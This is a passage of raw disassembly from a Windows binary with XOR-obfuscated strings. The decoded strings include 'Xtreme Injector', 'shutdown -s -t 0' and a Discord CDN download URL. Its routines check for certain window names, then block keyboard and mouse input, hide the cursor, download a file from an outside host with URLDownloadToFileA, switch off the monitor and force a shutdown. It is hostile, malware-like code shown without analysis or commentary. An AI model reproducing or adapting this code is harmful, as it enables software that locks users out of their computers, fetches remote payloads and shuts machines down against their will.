call fcn.140063330
mov byte [rbp + 0x2c9], al
mov dl, 0x78
lea rcx, [rbp + 0x2c8]
call fcn.140063330
mov byte [rbp + 0x2ca], al
mov dl, 0x74
lea rcx, [rbp + 0x2c8]
call fcn.140063330
mov byte [rbp + 0x2cb], al
mov dl, 0x72
lea rcx, [rbp + 0x2c8]
call fcn.140063330
mov byte [rbp + 0x2cc], al
mov dl, 0x65
lea rcx, [rbp + 0x2c8]
call fcn.140063330
mov byte [rbp + 0x2cd], al
mov dl, 0x6d
lea rcx, [rbp + 0x2c8]
call fcn.140063330
mov byte [rbp + 0x2ce], al
mov dl, 0x65
lea rcx, [rbp + 0x2c8]
call fcn.140063330
mov byte [rbp + 0x2cf], al
mov dl, 0x20
lea rcx, [rbp + 0x2c8]
call fcn.140063330
mov byte [rbp + 0x2d0], al
mov dl, 0x49
lea rcx, [rbp + 0x2c8]
call fcn.140063330
mov byte [rbp + 0x2d1], al
mov dl, 0x6e
lea rcx, [rbp + 0x2c8]
call fcn.140063330
mov byte [rbp + 0x2d2], al
mov dl, 0x6a
lea rcx, [rbp + 0x2c8]
call fcn.140063330
mov byte [rbp + 0x2d3], al
mov dl, 0x65
lea rcx, [rbp + 0x2c8]
call fcn.140063330
mov byte [rbp + 0x2d4], al
mov dl, 0x63
lea rcx, [rbp + 0x2c8]
call fcn.140063330
mov byte [rbp + 0x2d5], al
mov dl, 0x74
lea rcx, [rbp + 0x2c8]
call fcn.140063330
mov byte [rbp + 0x2d6], al
mov dl, 0x6f
lea rcx, [rbp + 0x2c8]
call fcn.140063330
mov byte [rbp + 0x2d7], al
mov dl, 0x72
lea rcx, [rbp + 0x2c8]
call fcn.140063330
mov byte [rbp + 0x2d8], al
xor eax, eax
mov byte [rbp + 0x2d9], al
mov rsi, rbx
nop
mov rdx, rsi
lea rcx, [rbp + 0x2c9]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x2c8]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x2c9]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0x10
jb 0x140041f50
mov edx, 0x10
lea rcx, [rbp + 0x2c9]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x2c9]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x1410]
call fcn.140027c60
nop
mov edi, ebx
nop
movsxd rax, edi
shl rax, 5
lea rsi, [rbp + 0xdb0]
add rsi, rax
mov rcx, rsi
call fcn.14002b8a0
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x140046be8
mov rcx, rsi
call fcn.14002b8a0
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x140046be8
inc edi
cmp edi, 3
jle 0x140041fc0
call fcn.140031010
test al, al
je 0x140042588
mov byte [rbp + 0x640], 0x6a
mov al, 0x29
mov cl, 6
mov dl, 5
mov r8b, 0x1d
mov r9b, 4
mov r10b, 0x4a
mov r11b, 0x26
movzx edi, dl
mov sil, 0xd
xor r14d, r14d
xor al, 0x6a
mov byte [rbp + 0x641], al
xor cl, 0x6a
mov byte [rbp + 0x642], cl
xor dl, 0x6a
mov byte [rbp + 0x643], dl
xor r8b, 0x6a
mov byte [rbp + 0x644], r8b
xor r9b, 0x6a
mov byte [rbp + 0x645], r9b
xor r10b, 0x6a
mov byte [rbp + 0x646], r10b
xor r11b, 0x6a
mov byte [rbp + 0x647], r11b
xor dil, 0x6a
mov byte [rbp + 0x648], dil
xor sil, 0x6a
mov byte [rbp + 0x649], sil
mov byte [rbp + 0x64a], r14b
lea rdx, [rbp + 0x641]
lea rcx, [rbp + 0xb50]
call fcn.140027c60
mov rcx, rax
call fcn.14003b760
mov byte [rbp + 0x620], 0x5d
mov al, 0x6f
xor ecx, ecx
xor al, 0x5d
mov byte [rbp + 0x621], al
mov byte [rbp + 0x622], cl
lea rdx, [rbp + 0x621]
lea rcx, [rbp + 0xb70]
call fcn.140027c60
mov r8, rax
lea rdx, [rbp + 0xb90]
mov rcx, qword [0x1400cdf88]
call fcn.14002d2f0
mov rcx, rax
call fcn.14002b8a0
lea rcx, [rbp + 0xb90]
call fcn.140065820
movdqa xmm1, xmmword [str.PKVWGLTM]
movdqu xmmword [rbp + 0x5e0], xmm1
mov dl, 0x13
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x5e1], al
xor byte [rbp + 0x5e2], cl
xor byte [rbp + 0x5e3], cl
xor byte [rbp + 0x5e4], cl
xor byte [rbp + 0x5e5], cl
xor byte [rbp + 0x5e6], cl
xor byte [rbp + 0x5e7], cl
xor byte [rbp + 0x5e8], cl
xor byte [rbp + 0x5e9], cl
xor byte [rbp + 0x5ea], cl
xor byte [rbp + 0x5eb], cl
xor byte [rbp + 0x5ec], cl
xor byte [rbp + 0x5ed], cl
xor byte [rbp + 0x5ee], cl
xor byte [rbp + 0x5ef], cl
xor dl, cl
mov byte [rbp + 0x5f0], dl
mov byte [rbp + 0x5f1], r14b
lea rcx, [rbp + 0x5e1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp + 0x610], 0x23
mov al, 0x13
xor ecx, ecx
xor al, 0x23
mov byte [rbp + 0x611], al
mov byte [rbp + 0x612], cl
lea rcx, [rbp + 0x611]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
lea ecx, [r14 + 0x18]
call fcn.14007cdb4
mov qword [rsp + 0x30], rax
xor ecx, ecx
xorps xmm1, xmm1
movups xmmword [rax], xmm1
mov qword [rax + 0x10], rcx
mov rcx, rax
call fcn.140032500
mov rdi, rax
mov byte [rbp + 0x624], 0x1c
mov cl, 0x58
mov dl, 0x79
mov r8b, 0x7e
mov r9b, 0x69
mov r10b, 0x7b
xor eax, eax
xor cl, 0x1c
mov byte [rbp + 0x625], cl
xor dl, 0x1c
mov byte [rbp + 0x626], dl
xor r8b, 0x1c
mov byte [rbp + 0x627], r8b
xor r9b, 0x1c
mov byte [rbp + 0x628], r9b
xor r10b, 0x1c
mov byte [rbp + 0x629], r10b
mov byte [rbp + 0x62a], al
lea rdx, [rbp + 0x625]
lea rcx, [rbp + 0xbb0]
call fcn.140027c60
mov r8, rax
lea rdx, [rbp + 0xbd0]
mov rcx, rdi
call fcn.14002d2f0
mov rcx, rax
call fcn.14002b8a0
lea rcx, [rbp + 0xbd0]
call fcn.140065820
call fcn.140028320
call fcn.140028380
lea ecx, [r14 + 1]
call qword [sym.imp.USER32.dll_BlockInput]
xor ecx, ecx
call qword [sym.imp.USER32.dll_ShowCursor]
movdqa xmm0, xmmword [0x14008da40]
movdqa xmmword [rbp + 0x670], xmm0
movdqa xmm1, xmmword [0x14008d8d0]
movdqa xmmword [rbp + 0x680], xmm1
movdqa xmm0, xmmword [0x14008d1e0]
movdqa xmmword [rbp + 0x690], xmm0
movdqa xmm1, xmmword [0x14008d200]
movdqa xmmword [rbp + 0x6a0], xmm1
movdqa xmm0, xmmword [0x14008d1b0]
movdqa xmmword [rbp + 0x6b0], xmm0
mov dword [rbp + 0x6c0], 0x2f2f2f2f
mov dword [rbp + 0x6c4], 0x2f2f2f2f
mov dword [rbp + 0x6c8], 0x7463752c
xor eax, eax
mov byte [rbp + 0x6cc], al
mov rcx, rbx
nop word [rax + rax]
movzx eax, byte [rbp + 0x670]
xor byte [rbp + rcx + 0x671], al
movzx eax, byte [rbp + 0x670]
xor byte [rbp + rcx + 0x672], al
movzx eax, byte [rbp + 0x670]
xor byte [rbp + rcx + 0x673], al
movzx eax, byte [rbp + 0x670]
xor byte [rbp + rcx + 0x674], al
movzx eax, byte [rbp + 0x670]
xor byte [rbp + rcx + 0x675], al
movzx eax, byte [rbp + 0x670]
xor byte [rbp + rcx + 0x676], al
movzx eax, byte [rbp + 0x670]
xor byte [rbp + rcx + 0x677], al
movzx eax, byte [rbp + 0x670]
xor byte [rbp + rcx + 0x678], al
movzx eax, byte [rbp + 0x670]
xor byte [rbp + rcx + 0x679], al
movzx eax, byte [rbp + 0x670]
xor byte [rbp + rcx + 0x67a], al
movzx eax, byte [rbp + 0x670]
xor byte [rbp + rcx + 0x67b], al
movzx eax, byte [rbp + 0x670]
xor byte [rbp + rcx + 0x67c], al
movzx eax, byte [rbp + 0x670]
xor byte [rbp + rcx + 0x67d], al
add rcx, 0xd
cmp rcx, 0x5b
jb 0x140042320
mov byte [rbp + 0x6cc], 0
lea rdx, [rbp + 0x671]
lea rcx, [rbp + 0xcf0]
call fcn.140027c60
nop
movdqa xmm1, xmmword [str.d8IIIIIIIIJ]
movdqu xmmword [rbp + 0x550], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x551], al
xor byte [rbp + 0x552], cl
xor byte [rbp + 0x553], cl
xor byte [rbp + 0x554], cl
xor byte [rbp + 0x555], cl
xor byte [rbp + 0x556], cl
xor byte [rbp + 0x557], cl
xor byte [rbp + 0x558], cl
xor byte [rbp + 0x559], cl
xor byte [rbp + 0x55a], cl
xor byte [rbp + 0x55b], cl
xor byte [rbp + 0x55c], cl
xor byte [rbp + 0x55d], cl
xor byte [rbp + 0x55e], cl
xor byte [rbp + 0x55f], cl
mov byte [rbp + 0x560], 0
lea rdx, [rbp + 0x551]
lea rcx, [rbp + 0xc10]
call fcn.140027c60
lea rcx, [rbp + 0xc10]
call fcn.14002b8a0
mov rdi, rax
lea rcx, [rbp + 0xcf0]
call fcn.14002b8a0
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movdqa xmm1, xmmword [0x14008d100]
movdqu xmmword [rbp + 0x568], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x569], al
xor byte [rbp + 0x56a], cl
xor byte [rbp + 0x56b], cl
xor byte [rbp + 0x56c], cl
xor byte [rbp + 0x56d], cl
xor byte [rbp + 0x56e], cl
xor byte [rbp + 0x56f], cl
xor byte [rbp + 0x570], cl
xor byte [rbp + 0x571], cl
xor byte [rbp + 0x572], cl
xor byte [rbp + 0x573], cl
xor byte [rbp + 0x574], cl
xor byte [rbp + 0x575], cl
xor byte [rbp + 0x576], cl
xor byte [rbp + 0x577], cl
mov byte [rbp + 0x578], 0
xor edx, edx
mov r8d, 0x20000
lea rcx, [rbp + 0x569]
call qword [sym.imp.WINMM.dll_PlaySoundA]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetCursorPos]
mov edx, 0x112
mov ecx, 0xffff
mov r9d, 2
mov r8d, 0xf170
call qword [sym.imp.USER32.dll_SendMessageA]
jmp 0x140042560
call fcn.140031070
test al, al
je 0x140042af8
mov byte [rbp + 0x650], 0x29
mov al, 0x6a
mov cl, 0x45
mov dl, 0x46
mov r8b, 0x5e
mov r9b, 0x47
mov r10b, 9
mov r11b, 0x65
movzx edi, dl
mov sil, 0x4e
xor r14d, r14d
xor al, 0x29
mov byte [rbp + 0x651], al
xor cl, 0x29
mov byte [rbp + 0x652], cl
xor dl, 0x29
mov byte [rbp + 0x653], dl
xor r8b, 0x29
mov byte [rbp + 0x654], r8b
xor r9b, 0x29
mov byte [rbp + 0x655], r9b
xor r10b, 0x29
mov byte [rbp + 0x656], r10b
xor r11b, 0x29
mov byte [rbp + 0x657], r11b
xor dil, 0x29
mov byte [rbp + 0x658], dil
xor sil, 0x29
mov byte [rbp + 0x659], sil
mov byte [rbp + 0x65a], r14b
lea rdx, [rbp + 0x651]
lea rcx, [rbp + 0x7b0]
call fcn.140027c60
mov rcx, rax
call fcn.14003b760
mov byte [rbp + 0x614], 0x2a
mov al, 0x19
xor ecx, ecx
xor al, 0x2a
mov byte [rbp + 0x615], al
mov byte [rbp + 0x616], cl
lea rdx, [rbp + 0x615]
lea rcx, [rbp + 0x7d0]
call fcn.140027c60
mov r8, rax
lea rdx, [rbp + 0x7f0]
mov rcx, qword [0x1400cdf88]
call fcn.14002d2f0
mov rcx, rax
call fcn.14002b8a0
lea rcx, [rbp + 0x7f0]
call fcn.140065820
movdqa xmm1, xmmword [0x14008d9b0]
movdqu xmmword [rbp + 0x5f8], xmm1
mov dl, 0x7b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x5f9], al
xor byte [rbp + 0x5fa], cl
xor byte [rbp + 0x5fb], cl
xor byte [rbp + 0x5fc], cl
xor byte [rbp + 0x5fd], cl
xor byte [rbp + 0x5fe], cl
xor byte [rbp + 0x5ff], cl
xor byte [rbp + 0x600], cl
xor byte [rbp + 0x601], cl
xor byte [rbp + 0x602], cl
xor byte [rbp + 0x603], cl
xor byte [rbp + 0x604], cl
xor byte [rbp + 0x605], cl
xor byte [rbp + 0x606], cl
xor byte [rbp + 0x607], cl
xor dl, cl
mov byte [rbp + 0x608], dl
mov byte [rbp + 0x609], r14b
lea rcx, [rbp + 0x5f9]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp + 0x618], 0x5a
mov al, 0x6a
xor ecx, ecx
xor al, 0x5a
mov byte [rbp + 0x619], al
mov byte [rbp + 0x61a], cl
lea rcx, [rbp + 0x619]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
lea ecx, [r14 + 0x18]
call fcn.14007cdb4
mov qword [rsp + 0x30], rax
xor ecx, ecx
xorps xmm1, xmm1
movups xmmword [rax], xmm1
mov qword [rax + 0x10], rcx
mov rcx, rax
call fcn.140032500
mov rdi, rax
mov byte [rbp + 0x62c], 0x1c
mov cl, 0x58
mov dl, 0x79
mov r8b, 0x7e
mov r9b, 0x69
mov r10b, 0x7b
xor eax, eax
xor cl, 0x1c
mov byte [rbp + 0x62d], cl
xor dl, 0x1c
mov byte [rbp + 0x62e], dl
xor r8b, 0x1c
mov byte [rbp + 0x62f], r8b
xor r9b, 0x1c
mov byte [rbp + 0x630], r9b
xor r10b, 0x1c
mov byte [rbp + 0x631], r10b
mov byte [rbp + 0x632], al
lea rdx, [rbp + 0x62d]
lea rcx, [rbp + 0x810]
call fcn.140027c60
mov r8, rax
lea rdx, [rbp + 0x830]
mov rcx, rdi
call fcn.14002d2f0
mov rcx, rax
call fcn.14002b8a0
lea rcx, [rbp + 0x830]
call fcn.140065820
call fcn.140028320
call fcn.140028380
lea ecx, [r14 + 1]
call qword [sym.imp.USER32.dll_BlockInput]
xor ecx, ecx
call qword [sym.imp.USER32.dll_ShowCursor]
movdqa xmm0, xmmword [0x14008da40]
movdqa xmmword [rbp + 0x6d0], xmm0
movdqa xmm1, xmmword [0x14008d8d0]
movdqa xmmword [rbp + 0x6e0], xmm1
movdqa xmm0, xmmword [0x14008d1e0]
movdqa xmmword [rbp + 0x6f0], xmm0
movdqa xmm1, xmmword [0x14008d200]
movdqa xmmword [rbp + 0x700], xmm1
movdqa xmm0, xmmword [0x14008d1b0]
movdqa xmmword [rbp + 0x710], xmm0
mov dword [rbp + 0x720], 0x2f2f2f2f
mov dword [rbp + 0x724], 0x2f2f2f2f
mov dword [rbp + 0x728], 0x7463752c
xor eax, eax
mov byte [rbp + 0x72c], al
mov rcx, rbx
nop
movzx eax, byte [rbp + 0x6d0]
xor byte [rbp + rcx + 0x6d1], al
movzx eax, byte [rbp + 0x6d0]
xor byte [rbp + rcx + 0x6d2], al
movzx eax, byte [rbp + 0x6d0]
xor byte [rbp + rcx + 0x6d3], al
movzx eax, byte [rbp + 0x6d0]
xor byte [rbp + rcx + 0x6d4], al
movzx eax, byte [rbp + 0x6d0]
xor byte [rbp + rcx + 0x6d5], al
movzx eax, byte [rbp + 0x6d0]
xor byte [rbp + rcx + 0x6d6], al
movzx eax, byte [rbp + 0x6d0]
xor byte [rbp + rcx + 0x6d7], al
movzx eax, byte [rbp + 0x6d0]
xor byte [rbp + rcx + 0x6d8], al
movzx eax, byte [rbp + 0x6d0]
xor byte [rbp + rcx + 0x6d9], al
movzx eax, byte [rbp + 0x6d0]
xor byte [rbp + rcx + 0x6da], al
movzx eax, byte [rbp + 0x6d0]
xor byte [rbp + rcx + 0x6db], al
movzx eax, byte [rbp + 0x6d0]
xor byte [rbp + rcx + 0x6dc], al
movzx eax, byte [rbp + 0x6d0]
xor byte [rbp + rcx + 0x6dd], al
add rcx, 0xd
cmp rcx, 0x5b
jb 0x140042890
mov byte [rbp + 0x72c], 0
lea rdx, [rbp + 0x6d1]
lea rcx, [rbp + 0xcb0]
call fcn.140027c60
nop
movdqa xmm1, xmmword [str.d8IIIIIIIIJ]
movdqu xmmword [rbp + 0x580], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x581], al
xor byte [rbp + 0x582], cl
xor byte [rbp + 0x583], cl
xor byte [rbp + 0x584], cl
xor byte [rbp + 0x585], cl
xor byte [rbp + 0x586], cl
xor byte [rbp + 0x587], cl
xor byte [rbp + 0x588], cl
xor byte [rbp + 0x589], cl
xor byte [rbp + 0x58a], cl
xor byte [rbp + 0x58b], cl
xor byte [rbp + 0x58c], cl
xor byte [rbp + 0x58d], cl
xor byte [rbp + 0x58e], cl
xor byte [rbp + 0x58f], cl
mov byte [rbp + 0x590], 0
lea rdx, [rbp + 0x581]
lea rcx, [rbp + 0xcd0]
call fcn.140027c60
lea rcx, [rbp + 0xcd0]
call fcn.14002b8a0
mov rdi, rax
lea rcx, [rbp + 0xcb0]
call fcn.14002b8a0
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movdqa xmm1, xmmword [0x14008d100]
movdqu xmmword [rbp + 0x598], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x599], al
xor byte [rbp + 0x59a], cl
xor byte [rbp + 0x59b], cl
xor byte [rbp + 0x59c], cl
xor byte [rbp + 0x59d], cl
xor byte [rbp + 0x59e], cl
xor byte [rbp + 0x59f], cl
xor byte [rbp + 0x5a0], cl
xor byte [rbp + 0x5a1], cl
xor byte [rbp + 0x5a2], cl
xor byte [rbp + 0x5a3], cl
xor byte [rbp + 0x5a4], cl
xor byte [rbp + 0x5a5], cl
xor byte [rbp + 0x5a6], cl
xor byte [rbp + 0x5a7], cl
mov byte [rbp + 0x5a8], 0
xor edx, edx
mov r8d, 0x20000
lea rcx, [rbp + 0x599]
call qword [sym.imp.WINMM.dll_PlaySoundA]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetCursorPos]
mov edx, 0x112
mov ecx, 0xffff
mov r9d, 2
mov r8d, 0xf170
call qword [sym.imp.USER32.dll_SendMessageA]
jmp 0x140042ad0
call fcn.140038b40
test al, al
je 0x140043bf8
mov byte [rbp + 0x98], 0x3c
mov dl, 0x43
lea rcx, [rbp + 0x98]
call fcn.140063330
mov byte [rbp + 0x99], al
mov dl, 0x6c
lea rcx, [rbp + 0x98]
call fcn.140063330
mov byte [rbp + 0x9a], al
mov dl, 0x6f
lea rcx, [rbp + 0x98]
call fcn.140063330
mov byte [rbp + 0x9b], al
mov dl, 0x77
lea rcx, [rbp + 0x98]
call fcn.140063330
mov byte [rbp + 0x9c], al
mov dl, 0x6e
lea rcx, [rbp + 0x98]
call fcn.140063330
mov byte [rbp + 0x9d], al
mov dl, 0x20
lea rcx, [rbp + 0x98]
call fcn.140063330
mov byte [rbp + 0x9e], al
mov dl, 0x4c
lea rcx, [rbp + 0x98]
call fcn.140063330
mov byte [rbp + 0x9f], al
mov dl, 0x6f
lea rcx, [rbp + 0x98]
call fcn.140063330
mov byte [rbp + 0xa0], al
mov dl, 0x67
lea rcx, [rbp + 0x98]
call fcn.140063330
mov byte [rbp + 0xa1], al
xor eax, eax
mov byte [rbp + 0xa2], al
mov rsi, rbx
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x99]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x98]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x99]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 9
jb 0x140042bd0
mov edx, 9
lea rcx, [rbp + 0x99]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x99]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x850]
call fcn.140027c60
mov rcx, rax
call fcn.14003b760
mov byte [rbp + 0x58], 0x2c
mov dl, 0x55
lea rcx, [rbp + 0x58]
call fcn.140063330
mov byte [rbp + 0x59], al
mov dl, 0x73
lea rcx, [rbp + 0x58]
call fcn.140063330
mov byte [rbp + 0x5a], al
mov dl, 0x65
lea rcx, [rbp + 0x58]
call fcn.140063330
mov byte [rbp + 0x5b], al
mov dl, 0x72
lea rcx, [rbp + 0x58]
call fcn.140063330
mov byte [rbp + 0x5c], al
mov dl, 0x45
lea rcx, [rbp + 0x58]
call fcn.140063330
mov byte [rbp + 0x5d], al
mov dl, 0x62
lea rcx, [rbp + 0x58]
call fcn.140063330
mov byte [rbp + 0x5e], al
mov dl, 0x61
lea rcx, [rbp + 0x58]
call fcn.140063330
mov byte [rbp + 0x5f], al
mov dl, 0x6e
lea rcx, [rbp + 0x58]
call fcn.140063330
mov byte [rbp + 0x60], al
xor eax, eax
mov byte [rbp + 0x61], al
mov rsi, rbx
nop
mov rdx, rsi
lea rcx, [rbp + 0x59]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x58]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x59]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 8
jb 0x140042cc0
mov edx, 8
lea rcx, [rbp + 0x59]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x59]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x790]
call fcn.140027c60
mov r8, rax
lea rdx, [rbp + 0x890]
mov rcx, qword [0x1400cdf88]
call fcn.14002d2f0
mov rcx, rax
call fcn.14002b8a0
lea rcx, [rbp + 0x890]
call fcn.140065820
mov byte [rbp + 0x2f8], 0x6b
mov dl, 0x73
lea rcx, [rbp + 0x2f8]
call fcn.140063330
mov byte [rbp + 0x2f9], al
mov dl, 0x68
lea rcx, [rbp + 0x2f8]
call fcn.140063330
mov byte [rbp + 0x2fa], al
mov dl, 0x75
lea rcx, [rbp + 0x2f8]
call fcn.140063330
mov byte [rbp + 0x2fb], al
mov dl, 0x74
lea rcx, [rbp + 0x2f8]
call fcn.140063330
mov byte [rbp + 0x2fc], al
mov dl, 0x64
lea rcx, [rbp + 0x2f8]
call fcn.140063330
mov byte [rbp + 0x2fd], al
mov dl, 0x6f
lea rcx, [rbp + 0x2f8]
call fcn.140063330
mov byte [rbp + 0x2fe], al
mov dl, 0x77
lea rcx, [rbp + 0x2f8]
call fcn.140063330
mov byte [rbp + 0x2ff], al
mov dl, 0x6e
lea rcx, [rbp + 0x2f8]
call fcn.140063330
mov byte [rbp + 0x300], al
mov dl, 0x20
lea rcx, [rbp + 0x2f8]
call fcn.140063330
mov byte [rbp + 0x301], al
mov dl, 0x2d
lea rcx, [rbp + 0x2f8]
call fcn.140063330
mov byte [rbp + 0x302], al
mov dl, 0x73
lea rcx, [rbp + 0x2f8]
call fcn.140063330
mov byte [rbp + 0x303], al
mov dl, 0x20
lea rcx, [rbp + 0x2f8]
call fcn.140063330
mov byte [rbp + 0x304], al
mov dl, 0x2d
lea rcx, [rbp + 0x2f8]
call fcn.140063330
mov byte [rbp + 0x305], al
mov dl, 0x74
lea rcx, [rbp + 0x2f8]
call fcn.140063330
mov byte [rbp + 0x306], al
mov dl, 0x20
lea rcx, [rbp + 0x2f8]
call fcn.140063330
mov byte [rbp + 0x307], al
mov dl, 0x30
lea rcx, [rbp + 0x2f8]
call fcn.140063330
mov byte [rbp + 0x308], al
xor eax, eax
mov byte [rbp + 0x309], al
mov rsi, rbx
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x2f9]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x2f8]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x2f9]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0x10
jb 0x140042ea0
mov edx, 0x10
lea rcx, [rbp + 0x2f9]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x2f9]
call fcn.140063550
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x38], 0x40
mov dl, 0x30
lea rcx, [rsp + 0x38]
call fcn.140063330
mov byte [rsp + 0x39], al
xor eax, eax
mov byte [rsp + 0x3a], al
xor edx, edx
lea rcx, [rsp + 0x39]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rsp + 0x38]
call fcn.140063330
movzx edi, al
xor edx, edx
lea rcx, [rsp + 0x39]
call fcn.140063560
mov byte [rax], dil
mov edx, 1
lea rcx, [rsp + 0x39]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rsp + 0x39]
call fcn.140063550
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ecx, 0x18
call fcn.14007cdb4
mov rdi, rax
mov qword [rsp + 0x30], rax
mov edx, 0x18
mov rcx, rax
call fcn.1400295b0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rax
mov rcx, rdi
call fcn.140032500
mov r14, rax
mov byte [rbp - 0x74], 0x1c
mov dl, 0x44
lea rcx, [rbp - 0x74]
call fcn.140063330
mov byte [rbp - 0x73], al
mov dl, 0x65
lea rcx, [rbp - 0x74]
call fcn.140063330
mov byte [rbp - 0x72], al
mov dl, 0x62
lea rcx, [rbp - 0x74]
call fcn.140063330
mov byte [rbp - 0x71], al
mov dl, 0x75
lea rcx, [rbp - 0x74]
call fcn.140063330
mov byte [rbp - 0x70], al
mov dl, 0x67
lea rcx, [rbp - 0x74]
call fcn.140063330
mov byte [rbp - 0x6f], al
xor eax, eax
mov byte [rbp - 0x6e], al
mov rsi, rbx
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp - 0x73]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp - 0x74]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp - 0x73]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 5
jb 0x140043000
mov edx, 5
lea rcx, [rbp - 0x73]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp - 0x73]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x8b0]
call fcn.140027c60
mov r8, rax
lea rdx, [rbp + 0x8d0]
mov rcx, r14
call fcn.14002d2f0
mov rcx, rax
call fcn.14002b8a0
lea rcx, [rbp + 0x8d0]
call fcn.140065820
call fcn.140028320
call fcn.140028380
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
xor ecx, ecx
call qword [sym.imp.USER32.dll_ShowCursor]
mov byte [rbp + 0x430], 2
mov dl, 0x68
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x431], al
mov dl, 0x74
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x432], al
mov dl, 0x74
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x433], al
mov dl, 0x70
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x434], al
mov dl, 0x73
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x435], al
mov dl, 0x3a
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x436], al
mov dl, 0x2f
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x437], al
mov dl, 0x2f
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x438], al
mov dl, 0x63
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x439], al
mov dl, 0x64
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x43a], al
mov dl, 0x6e
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x43b], al
mov dl, 0x2e
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x43c], al
mov dl, 0x64
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x43d], al
mov dl, 0x69
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x43e], al
mov dl, 0x73
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x43f], al
mov dl, 0x63
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x440], al
mov dl, 0x6f
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x441], al
mov dl, 0x72
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x442], al
mov dl, 0x64
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x443], al
mov dl, 0x61
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x444], al
mov dl, 0x70
lea rcx, [rbp + 0x430]
call fcn.140063330
mov byte [rbp + 0x445], al
mov dl, 0x70
lea rcx, [rbp + 0x430]
